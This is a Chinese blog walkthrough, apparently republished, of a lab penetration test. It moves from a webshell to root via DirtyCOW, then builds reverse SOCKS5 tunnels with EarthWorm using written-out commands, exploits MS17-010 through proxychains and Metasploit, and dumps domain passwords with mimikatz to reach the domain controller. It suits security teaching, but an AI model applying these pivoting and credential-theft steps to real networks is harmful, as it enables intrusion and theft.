通过SOCKS代理渗透整个内网

通过SOCKS代理渗透整个内网通过SOCKS代理渗透整个内网1.背景经过前期的渗透工作,我们现在已经成功找到了web站点的漏洞,并且获得了一个普通的webshell,现在准备用菜刀去连接它。注意:本次环境在本地搭建,假设现在一无所知,这样更加真实。2.对web服务器提权2.1获取漏洞信息获取到webshell后使用菜刀连接,查看权限是apache,系统是redhat6.5。上传linux.sh到…

大家好,又见面了,我是你们的朋友全栈君。

通过SOCKS代理渗透整个内网

1.背景

经过前期的渗透工作,我们现在已经成功找到了web站点的漏洞,并且获得了一个普通的webshell,现在准备用菜刀去连接它。

注意:本次环境在本地搭建,假设现在一无所知,这样更加真实。

2.对web服务器提权

2.1获取漏洞信息

获取到webshell后使用菜刀连接,查看权限是apache,系统是redhat6.5。

通过SOCKS代理渗透整个内网

上传linux.sh到/tmp目录下,获取漏洞信息。

通过SOCKS代理渗透整个内网

通过SOCKS代理渗透整个内网

2.2使用脏牛提权

1)漏洞基本信息

选择CVE-2016-5195进行提权,该漏洞被称为“脏牛漏洞(DirtyCOW)”,危害是通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞是由于Linux 内核的内存子系统在处理 Copy-on-Write 时出现竞争条件(漏洞),导致私有的只读内存映射被破坏、获取读写权限后进一步提权。

通过SOCKS代理渗透整个内网

2)漏洞利用

在同版本的redhat系统上使用gcc编译此poc。

通过SOCKS代理渗透整个内网

使用菜刀上传编译后的文件dirty到此web服务器上,给予可执行权限,password为密码,可以随意设置,我们将使用它来登录。

通过SOCKS代理渗透整个内网通过SOCKS代理渗透整个内网

现在查看/etc/passwd文件,发现第一行文件已经必修改,root用户必修改成了firefart,它现在拥有最高权限,而密码我们已经知晓,就是刚才设置的password。从很低的apache权限到root权限,提权结束。

通过SOCKS代理渗透整个内网

3)使用xshell远程连接

因为菜刀上不太方便, 现在使用xshell远程连接,成功连接。(账号:firefart,密码:password)

通过SOCKS代理渗透整个内网

可以看到有两个IP,我们猜测拓扑图应该是如下,win10和kali受我们控制,它们处于外网。我们可以访问web服务器的外网接口192.168.1.120,另外一个IP是192.168.223.166,它应该是连接内网,但是我们无法访问。

通过SOCKS代理渗透整个内网

3.第一次使用SOCKS代理渗透内网

3.1SOCKS代理

1)SOCKS

Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议,其标准端口为1080。

2)Earthworm

EW是一套便携式的网络穿透工具,具有SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,而且适用于不同的操作系统。

3)ProxyChains

ProxyChains是Linux下的代理工具,kali已经安装,它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP、SOCKS4和SOCKS5类型的代理服务器,并且可配置多个代理。

3.2反弹socks5服务器

1)在kali上

在kali上运行:

./ew_linux_x64 -s rcsocks -l 1080 -e 1234

该命令的意思是在kali上添加一个转接隧道,把本地1080端口收到的代理请求转交给1234端口。

通过SOCKS代理渗透整个内网

2)在web服务器上

我们刚才在win10已经使用xshell远程连接web服务器,运行:

./ew_linux_x64 -s rssocks -d 192.168.1.109 -e 1234

该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。

通过SOCKS代理渗透整个内网

3)配置proxychains.conf

现在就可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务了。

通过SOCKS代理渗透整个内网

/etc/proxychains.conf修改内容如下,去掉dynamic_chain的注释,并且在最后的位置添加代理。

通过SOCKS代理渗透整个内网通过SOCKS代理渗透整个内网

4)测试代理服务器是否正常

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

proxyresolv 192.168.223.166

发现代理正常,现在我们已经可以访问192.168.223.166了。

通过SOCKS代理渗透整个内网

4.渗透主机A

4.1proxychains启动nmap

用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网,我们发现只能访问下面这台机器,对它进行扫描:

通过SOCKS代理渗透整个内网通过SOCKS代理渗透整个内网

现在我们猜测拓扑图应该是如下,win10和kali受我们控制,它们处于外网,我们可以访问web服务器的外网接口192.168.1.120,另外一个内网IP是192.168.223.166,它只能访问内网的主机A 192.168.223.174。

通过SOCKS代理渗透整个内网

4.2proxychains启动msf

1)启动msfconsole

通过SOCKS代理渗透整个内网

2)攻击

选择漏洞利用模块ms17-010,MS17-010漏洞利用模块就是利用windows系统的windows smb远程执行代码漏洞,向Microsoft服务消息块服务器发送经特殊设计的消息后,允许远程代码执行。选择好漏洞利用模块和攻击载荷模块后,配置好参数,开始攻击。

通过SOCKS代理渗透整个内网通过SOCKS代理渗透整个内网

3)获取密码信息

使用mimikatz抓取密码,命令如下:

load mimikatz

kerberos

通过SOCKS代理渗透整个内网

可以看到域是lingwen,有两个域用户lingwen0001和admin的密码已经激活成功教程出来了,都是“lingwen1.”。

4)信息收集

(1)查看系统信息

通过SOCKS代理渗透整个内网

(2)查看进程

通过SOCKS代理渗透整个内网

(3)查看系统用户

通过SOCKS代理渗透整个内网通过SOCKS代理渗透整个内网

(4)查看应用软件

通过SOCKS代理渗透整个内网

(5)查看路由信息和最后登录时间

通过SOCKS代理渗透整个内网

5)上传ew工具

查看进程号和权限,直接是system,关闭杀毒软件,开启远程桌面协议。

通过SOCKS代理渗透整个内网

上传ew工具到主机A,为了后面使用这台机器A作为跳板访问其他内网主机。

通过SOCKS代理渗透整个内网

一般情况下我们输入shell就可以进入目标机的shell下,可是这里不行,之前获得了2个域用户密码,我们尝试远程连接主机A。

4.3远程登录主机A

1)远程登录主机A

使用代理启动rdesktop在kali上远程连接主机A,即192.168.223.174,使用之前获得的admin域账号登录。

通过SOCKS代理渗透整个内网

通过SOCKS代理渗透整个内网

2)收集域信息

(1)查看域用户和域的数量

通过SOCKS代理渗透整个内网

(2)查看域里面的组

通过SOCKS代理渗透整个内网

(3)查看域内所有主机名

通过SOCKS代理渗透整个内网

(4)查看域管理员

通过SOCKS代理渗透整个内网

(5)查看域控制器

通过SOCKS代理渗透整个内网

(6)查看企业管理组

通过SOCKS代理渗透整个内网

我们发现之前在主机A获得的域用户admin竟然是域管理员账号。

3)查看dns信息

我们终于发现域控的IP是192.168.223.134。

通过SOCKS代理渗透整个内网

5. 第二次使用SOCKS代理渗透内网

5.1内网拓扑图

通过SOCKS代理渗透整个内网

5.2再次代理

1)分析

(1)第一次socks代理

通过第一次socks代理:在kali上添加一个转接隧道,把1080端口收到的代理请求转交给1234端口;在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。

之后我们在kali通过web服务器做跳板来访问主机A。

(2)现在的问题

虽然我们知道了域控的IP,域管理员的账号和密码,但是现在我们在kali上连接不到域控。如下所示,远程登录失败。

通过SOCKS代理渗透整个内网

我们可不可以再次代理,使用主机A做跳板,把经过它的流量反弹到web服务器上,用kali连接web服务器。

2)在web服务器上

使用xshell建立新的会话连接web服务器192.168.1.120,在web服务器上运行:

./ew_linux_x64 -s rcsocks -l 6666 -e 5678

该命令的意思是在web服务器上添加一个转接隧道,把本地6666端口收到的代理请求转交给5678端口。

通过SOCKS代理渗透整个内网

3)在主机A

在kali远程连接主机A,在主机A上运行:

ew_win32.exe -s rssocks -d 192.168.223.166 -e 5678

该命令的意思是在主机A上启动SOCKS5服务,并反弹到IP地址为192.168.223.166(web服务器)的5678端口上。

通过SOCKS代理渗透整个内网

4)配置proxychains.conf

现在就可以通过访问192.168.1.120:6666端口使用在主机A上架设的SOCKS5代理服务了。

通过SOCKS代理渗透整个内网

5)远程连接域控

发现现在已经可以访问域控了,使用域管理员账号成功登录。

通过SOCKS代理渗透整个内网

通过SOCKS代理渗透整个内网

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/149835.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • actionchains 的用法_actions怎么才能使用

    actionchains 的用法_actions怎么才能使用Step1.导入ActionChainsfromselenium.webdriver.common.action_chainsimportActionChains1.定义鼠标悬停的元素:move=driver.find_element_by_css_selector(‘div.queryschema-control.ivu-col.ivu-c…

  • 全网最热Vue入门教程你不看就吃亏了哦[通俗易懂]

      因为最近需要使用到Vue,所以打算将Vue的学习资料详细整理一份,感兴趣的小伙伴可以一起来哦。一、Vue基础介绍1.什么是Vue.jsVue.js是目前最火的一个前端框架,React是最流行的一个前端框架(React除了开发网站,还可以开发手机App,Vue语法也是可以用于进行手机App开发的,需要借助于Weex)Vue.js是前端的主流框架之一,和Angular.js、Rea…

  • 转:CCriticalSection「建议收藏」

    转:CCriticalSection「建议收藏」类CCriticalSection的对象表示一个“临界区”,它是一个用于同步的对象,同一时刻只允许一个线程存取资源或代码区。临界区在控制一次只能有一个线程修改数据或其它的控制资源时非常有用。例如在链表中增加一个节点就中允许一次一个线程进行。通过使用CCriticalSection对象来控制链表,就可以达到这个目的。在运行性能比较重要而且资源不会跨进程使用时,建议采用临界区代替信号灯。有关在MF…

  • eclipse中文乱码解决

    eclipse中文乱码解决1.修改项目的编码格式,或者工作空间的编码格式无法作用到项目里面的java文件的编码格式。2.项目中修改编码格式只有选中Inheritedfromcontainer,该项目的编码格式才会随着工作空间编码格式的改变而改变。3.只要改动了所有文件的编码格式,那么单个java文件的编码格式也会跟着修改。4.别人eclipse的所有java文件的编码格式设置为UTF-8,他用这个编码格式打…

  • JavaScript 引擎性能比较之一SpiderMonkey[通俗易懂]

    JavaScript 引擎性能比较之一SpiderMonkey[通俗易懂]1.下载https://people.mozilla.org/~sstangl/mozjs-31.2.0.rc0.tar.bz2bunzip2mozjs-31.2.0.rc0.tar.bz2tarxvfmozjs-31.2.0.rc0.tar2.构建https://developer.mozilla.org/en-US/docs/Mozilla/Projects/

  • linux解压rar包的命令[通俗易懂]

    linux解压rar包的命令[通俗易懂]upzipqq.war-d.\

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号